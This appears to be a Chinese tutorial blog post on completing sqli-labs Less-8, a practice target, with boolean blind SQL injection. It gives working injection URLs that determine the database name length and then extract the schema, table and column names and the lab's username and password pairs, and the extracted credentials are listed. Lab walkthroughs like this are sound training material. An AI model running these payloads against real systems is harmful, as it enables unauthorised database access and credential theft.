当前位置: 首页 > article >正文

sqli-labs靶场第八关布尔盲注通关

sqli-labs less 布尔盲注

在这里插入图片描述

1、布尔盲注

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行,在这种情况下我们可以使用布尔盲注

2、布尔盲注使用的函数

2.1 ascii()

根据括号内的值,返回对应的ASCII码,比如:
在这里插入图片描述
附上ASCII码表
在这里插入图片描述

2.2 substr()函数

substr(‘abcde’,1,1),此函数返回’abcde’第一个开始的第一个字符
在这里插入图片描述
也可以使用其他函数代替
如left(),right()
在这里插入图片描述

2.3 if()函数

在这里插入图片描述

2.4 length()

在这里插入图片描述

3、less-8演示

3.1 注入点以及闭合方式

http://192.168.128.3/sq/Less-8/?id=1’

回显结果与之前不一致,页面无回显,将'注释掉,回显正常,闭合方式为单引号,

http://192.168.128.3/sq/Less-8/?id=1’and 1=1–+
http://192.168.128.3/sq/Less-8/?id=1’and 1=2–+

页面回显不一致,有注入点

3.2 判断数据库长度

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>7),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>8),1,2) --+

语句解析:

  • 1=if(判断长度大于多少,1,2) 正常返回1,与1=1对应,回显正常,否则错误,
  • length(),在括号中加入database() 去除数据库长度,并于7,8比较
    执行这两条语句发现>7正常,>8不正常,确定数据库名长度为8

3.2 爆出数据库名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>100),1,2) --+
检测其ASCII码是否大于100,
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>110),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>115),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>114),1,2) --+

发现在大于115报错,大于114正常,对照ASCII表得出数据库名第一个字母为s
一次按照此方法爆出其余的字符,最终得到数据库名security

3.3 爆出表名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100),1,2) --+

得出表名第一个字母e,按照此方法一次爆出所有表名
最终得到结果emails,referers,usgents,users
其中,也算,他是group_concat()函数使用时产生的,

4、爆出列名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>104),1,2) --+

列名第一个字符大于104正确,105错误,对照ASCII表为i,,只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有列名
最终结果:id,username,password

5、爆出数据

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(username,‘~’,password) from security.users),1,1))>67),1,2) --+

只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有数据,~,也算,group_concat(username,‘~’,password)所带,
最终得到:
Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
至此大功告成


http://www.kler.cn/news/337039.html

相关文章:

  • MySQL 创建数据表
  • ctf.bugku - 本地管理员
  • SOMEIP_ETS_167: SD_TestFieldUINT8Array
  • 【WPF开发】如何设置窗口背景颜色以及背景图片
  • 基于深度学习的化学反应预测
  • 昇思MindSpore进阶教程--自动数据增强
  • 前端编程艺术(4)---JavaScript进阶(vue前置知识)
  • 机器学习——自监督学习与无监督学习
  • 基于PSO粒子群优化的多无人机路径规划matlab仿真,对比WOA优化算法
  • LeetCode 11 Container with Most Water 解题思路和python代码
  • Node.js+Express毕设论文选题最新推荐题目和方向
  • keras yolo8目标检测
  • 透明物体的投射和接收阴影
  • RabbitMQ 高级特性——TTL
  • OJ在线评测系统 微服务 OpenFeign调整后端下 nacos注册中心配置 不给前端调用的代码 全局引入负载均衡器
  • 如何在 PHP 中使用 array_unique 函数去重关联数组?
  • 如何把数组作为参数传递给函数(注意,只是传递数组名)?
  • OJ在线评测系统 微服务高级 网关跨域权限校验 集中解决跨域问题 拓展 JWT校验和实现接口限流降级
  • 【ShuQiHere】 重新定义搜索:本体搜索引擎的时代
  • wsl环境下安装MySQL5.7